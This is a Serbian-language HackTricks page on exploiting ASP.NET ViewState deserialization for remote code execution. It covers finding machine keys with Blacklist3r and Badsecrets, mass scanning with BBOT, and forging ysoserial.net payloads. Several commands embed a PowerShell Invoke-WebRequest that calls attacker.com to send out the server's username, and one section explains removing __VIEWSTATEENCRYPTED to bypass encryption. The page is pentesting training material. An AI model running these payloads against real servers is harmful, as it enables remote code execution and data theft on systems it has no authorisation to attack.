mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
183 lines
14 KiB
Markdown
183 lines
14 KiB
Markdown
# Eksploatacija \_\_VIEWSTATE bez poznavanja tajni
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## Šta je ViewState
|
||
|
||
**ViewState** služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka o stranici i kontrolama između web stranica. Tokom renderovanja HTML-a stranice, trenutna stanja stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64-enkodirane stringove. Ovi stringovi se zatim smeštaju u skrivene ViewState polja.
|
||
|
||
Informacije o ViewState-u mogu se karakterisati sledećim svojstvima ili njihovim kombinacijama:
|
||
|
||
- **Base64**:
|
||
- Ovaj format se koristi kada su oba atributa `EnableViewStateMac` i `ViewStateEncryptionMode` postavljena na false.
|
||
- **Base64 + MAC (Kod za autentifikaciju poruka) Omogućen**:
|
||
- Aktivacija MAC-a se postiže postavljanjem atributa `EnableViewStateMac` na true. Ovo obezbeđuje verifikaciju integriteta podataka ViewState-a.
|
||
- **Base64 + Enkriptovan**:
|
||
- Enkripcija se primenjuje kada je atribut `ViewStateEncryptionMode` postavljen na true, obezbeđujući poverljivost podataka ViewState-a.
|
||
|
||
## Test slučajevi
|
||
|
||
Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u ASP.NET-u na osnovu verzije .NET framework-a. Evo sažetak sadržaja:
|
||
|
||
1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
|
||
2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
|
||
3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
|
||
4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
|
||
|
||
### Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
|
||
|
||
Takođe je moguće potpuno onemogućiti ViewStateMAC postavljanjem registry ključa `AspNetEnforceViewStateMac` na nulu u:
|
||
```
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||
```
|
||
**Identifikovanje ViewState Atributa**
|
||
|
||
Možete pokušati da identifikujete da li je ViewState zaštićen MAC-om tako što ćete uhvatiti zahtev koji sadrži ovaj parametar pomoću BurpSuite-a. Ako MAC nije korišćen za zaštitu parametra, možete ga iskoristiti koristeći [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||
```
|
||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||
```
|
||
### Test case 1.5 – Kao Test case 1, ali ViewState kolačić nije poslat od strane servera
|
||
|
||
Developeri mogu **ukloniti ViewState** iz HTTP zahteva (korisnik neće primiti ovaj kolačić).\
|
||
Može se pretpostaviti da ako **ViewState** **nije prisutan**, njihova implementacija je **sigurna** od bilo kakvih potencijalnih ranjivosti koje proizlaze iz deserializacije ViewState-a.\
|
||
Međutim, to nije slučaj. Ako **dodamo ViewState parametar** u telo zahteva i pošaljemo naš serijalizovani payload kreiran pomoću ysoserial, i dalje ćemo moći da postignemo **izvršenje koda** kao što je prikazano u **Slučaju 1**.
|
||
|
||
### Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||
|
||
Da bismo **omogućili ViewState MAC** za **određenu stranicu**, potrebno je izvršiti sledeće izmene na određenom aspx fajlu:
|
||
```bash
|
||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||
```
|
||
Možemo to uraditi i za **celu** aplikaciju postavljanjem u **web.config** datoteku kao što je prikazano u nastavku:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<configuration>
|
||
<system.web>
|
||
<customErrors mode="Off" />
|
||
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
|
||
<pages enableViewStateMac="true" />
|
||
</system.web>
|
||
</configuration>
|
||
```
|
||
Pošto je parametar zaštićen MAC-om, da bismo uspešno izvršili napad, prvo nam je potreban korišćeni ključ.
|
||
|
||
Možete pokušati da koristite [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) da pronađete korišćeni ključ.
|
||
```
|
||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||
|
||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||
--modifier : __VIWESTATEGENERATOR parameter value
|
||
```
|
||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) je još jedan alat koji može identifikovati poznate machineKeys. Napisan je u Python-u, tako da, za razliku od Blacklist3r, nema zavisnost od Windows-a. Za .NET viewstate-ove postoji "python blacklist3r" alat, koji je najbrži način da se koristi.
|
||
|
||
Može se direktno snabdeti viewstate-om i generatorom:
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
|
||
```
|
||

|
||
|
||
Ili, može se direktno povezati na ciljani URL i pokušati da izvuče viewstate iz HTML-a:
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||
```
|
||

|
||
|
||
Da biste pretraživali ranjive viewstate-ove na velikoj skali, u kombinaciji sa enumeracijom poddomena, može se koristiti `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modul:
|
||
```
|
||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||
```
|
||

|
||
|
||
Ako imate sreće i ključ je pronađen, možete nastaviti sa napadom koristeći [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||
```
|
||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||
|
||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||
```
|
||
U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar **ne morate** da **obezbedite** `--generator` parametar **već ove**:
|
||
```bash
|
||
--apppath="/" --path="/hello.aspx"
|
||
```
|
||
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
|
||
|
||
U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je verovatno da je vrednost enkriptovana i **biće vam potrebna Machine Key da enkriptujete vaš payload** kako biste iskoristili ranjivost.
|
||
|
||
**U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...**
|
||
|
||
**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i ako je** **`ViewStateEncryptionMode`** postavljen na _**Always**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.**
|
||
|
||
Stoga, ako napadači pronađu način da dobiju Machinekey putem druge ranjivosti kao što je file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
|
||
|
||
- Uklonite `__VIEWSTATEENCRYPTED` parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška u validaciji Viewstate MAC-a i eksploatacija će propasti.
|
||
|
||
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
|
||
|
||
Možemo naterati korišćenje ASP.NET framework-a tako što ćemo specificirati donji parametar unutar web.config datoteke kao što je prikazano ispod.
|
||
```xml
|
||
<httpRuntime targetFramework="4.5" />
|
||
```
|
||
Alternativno, ovo se može uraditi tako što se specificira opcija ispod unutar `machineKey` parametra web.config datoteke.
|
||
```bash
|
||
compatibilityMode="Framework45"
|
||
```
|
||
Kao u prethodnom, **vrednost je enkriptovana.** Zatim, da bi poslao **validan payload, napadaču je potreban ključ**.
|
||
|
||
Možete pokušati da koristite [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) da pronađete ključ koji se koristi:
|
||
```
|
||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||
|
||
--encrypteddata = {__VIEWSTATE parameter value}
|
||
--IISDirPath = {Directory path of website in IIS}
|
||
--TargetPagePath = {Target page path in application}
|
||
```
|
||
Za detaljniji opis za IISDirPath i TargetPagePath [pogledajte ovde](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||
|
||
Ili, sa [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (sa vrednošću generatora):
|
||
```bash
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||
```
|
||

|
||
|
||
Kada se identifikuje važeći Machine key, **sledeći korak je generisanje serijalizovanog payload-a koristeći** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||
```
|
||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||
```
|
||
Ako imate vrednost `__VIEWSTATEGENERATOR`, možete pokušati da **koristite** parametar `--generator` sa tom vrednošću i **izostavite** parametre `--path` i `--apppath`.
|
||
|
||

|
||
|
||
Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva van kanala ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako funkcioniše proces eksploatacije i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||
|
||
### Test Case 6 – ViewStateUserKeys se koristi
|
||
|
||
Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima smo do sada razgovarali, **payload neće biti obrađen od strane aplikacije**.\
|
||
Potrebno je koristiti još jedan parametar kako bi se ispravno kreirao payload:
|
||
```bash
|
||
--viewstateuserkey="randomstringdefinedintheserver"
|
||
```
|
||
### Rezultat uspešne eksploatacije <a href="#poc" id="poc"></a>
|
||
|
||
Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi **uspešno**, server odgovara sa “**500 Internal server error**” sa sadržajem odgovora “**Informacije o stanju su nevažeće za ovu stranicu i mogu biti oštećene**” i dobijamo OOB zahtev.
|
||
|
||
Proverite [dodatne informacije ovde](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||
|
||
## Reference
|
||
|
||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|